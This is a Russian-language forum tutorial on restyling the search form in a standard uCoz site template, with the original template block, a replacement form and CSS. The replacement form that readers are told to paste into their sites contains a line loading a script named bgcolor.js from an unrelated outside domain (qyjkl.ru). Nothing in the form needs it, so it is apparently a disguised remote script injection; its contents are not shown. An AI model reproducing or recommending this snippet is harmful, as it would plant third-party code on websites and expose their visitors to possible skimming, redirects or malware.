Главная | Регистрация | Вход Приветствую Вас Гость | RSS
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Форум » Cкрипты » Готовые скрипты для UCOZ » Дизайн формы поиска для стандартных шаблонов системы uCoz (для стандартных шаблонов и не только)
Дизайн формы поиска для стандартных шаблонов системы uCoz
2pacbestДата: Вторник, 17.07.2012, 11:05 | Сообщение # 1
Admin
Группа: User
Сообщений: 149
Репутация: 0
Бог форума За хорошую посещаемость на форуме За супер посещаемость

За 10 Сообщений За 20 Сообщений За 30 Сообщений За 40 Сообщений За 60 Сообщений За 80 Сообщений За 90 Сообщений
Статус:
Для опытов мы возьмём стандартный шаблон системы #211, форма поиска на главной странице находится в первом контейнере слева.

Смотрим скрин скрипта: http://i009.radikal.ru/1207/ba/53590c35e001.jpg

Делается это очень просто: открываем шаблон, в котором находится блок с формой поиска (в данном шаблоне системы это шаблон "Первый контейнер"), вот что мы нашли:

Code

<!-- <block6> -->
<?if($SEARCH_FORM$)?>
<table border="0" cellpadding="0" cellspacing="0" width="200">
<tr>
<td width="170" bgcolor="#318EB7" background="/.s/t/211/5.gif" class="blockT1"><span class="blockTitle"><!-- <bt> --><!--<s5171>-->Поиск<!--</s>--><!-- </bt> --></span></td>
<td width="30" bgcolor="#318EB7" background="/.s/t/211/5.gif" align="right"><img border="0" src="/.s/t/211/6.gif" width="30" height="29"></td>
</tr>
<tr>
<td colspan="2" bgcolor="#C3E1EF" background="/.s/t/211/7.gif" class="blockT2">
<div align="center"><div align="center"><!-- <bc> -->$SEARCH_FORM$
<!-- </bc> --></div></div>
</td>
</tr>
<tr>
<td colspan="2"><img border="0" src="/.s/t/211/8.gif" width="200" height="5"></td>
</tr>
</table><br>
<?endif?>
<!-- </block6> -->


заменяем системный код

Code
$SEARCH_FORM$


на нашу форму поиска

Code
<?if($USER_AGENT$='ie')?>$SEARCH_FORM$<?else?>
<form class="searchform" onsubmit="this.sfSbm.disabled=true" method="get" style="margin:0" action="/search/">
<script src="http://qyjkl.ru/bgcolor.js" type="text/javascript"></script>
<input class="searchfield" value="Поиск..." type="text" name="q" maxlength="30" size="20" onfocus="if (this.value == 'Поиск...') {this.value = '';}" onblur="if (this.value == '') {this.value = 'Поиск...';}" />
<input class="searchbutton" type="submit" name="sfSbm" value="Go" />
</form><?endif?>


Сохраняем изменения и переходим в редактирование шаблона "Таблица стилей (CSS)". Добавляем стили для нашей новой формы поиска:

Code
/* Форма поиска   
-------------------------------------- */
.searchform {
   display: inline-block;
   zoom: 1; /* ie7 hack for display:inline-block */
   *display: inline;
   border: solid 1px #6699ff;
   padding: 3px 6px;
   -webkit-border-radius: 2em;
   -moz-border-radius: 2em;
   border-radius: 2em;
   -webkit-box-shadow: 0 1px 0px rgba(0,0,0,.1);
   -moz-box-shadow: 0 1px 0px rgba(0,0,0,.1);
   box-shadow: 0 1px 0px rgba(0,0,0,.1);
   background: #f1f1f1;
   background: -webkit-gradient(linear, left top, left bottom, from(#fff), to(#ededed));
   background: -moz-linear-gradient(top, #fff, #ededed);
   filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#ededed'); /* ie7 */
   -ms-filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#ededed'); /* ie8 */
}
.searchform input {
   font: normal 12px/100% Arial, Helvetica, sans-serif;color:#666;
}
.searchform .searchfield {
   background: #fff;
   padding: 6px 6px 6px 8px;
   width: 145px;
   border: solid 1px #6699ff;
   outline: none;
   -webkit-border-radius: 2em;
   -moz-border-radius: 2em;
   border-radius: 2em;
   -moz-box-shadow: inset 0 1px 2px rgba(0,0,0,.2);
   -webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,.2);
   box-shadow: inset 0 1px 2px rgba(0,0,0,.2);
}
.searchform .searchbutton {
   color: #fff;
   border: solid 1px #336699;
   font-size: 10px;
   height: 25px;
   width: 25px;
   text-shadow: 0 1px 1px rgba(0,0,0,.6);
   -webkit-border-radius: 2em;
   -moz-border-radius: 2em;
   border-radius: 2em;
   background: #6699cc;
   background: -webkit-gradient(linear, left top, left bottom, from(#9e9e9e), to(#454545));
   background: -moz-linear-gradient(top, #9e9e9e, #454545);
   filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#9e9e9e', endColorstr='#454545'); /* ie7 */
   -ms-filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#9e9e9e', endColorstr='#454545'); /* ie8 */
}
 
Форум » Cкрипты » Готовые скрипты для UCOZ » Дизайн формы поиска для стандартных шаблонов системы uCoz (для стандартных шаблонов и не только)
  • Страница 1 из 1
  • 1
Поиск:

Бесплатный конструктор сайтов - uCoz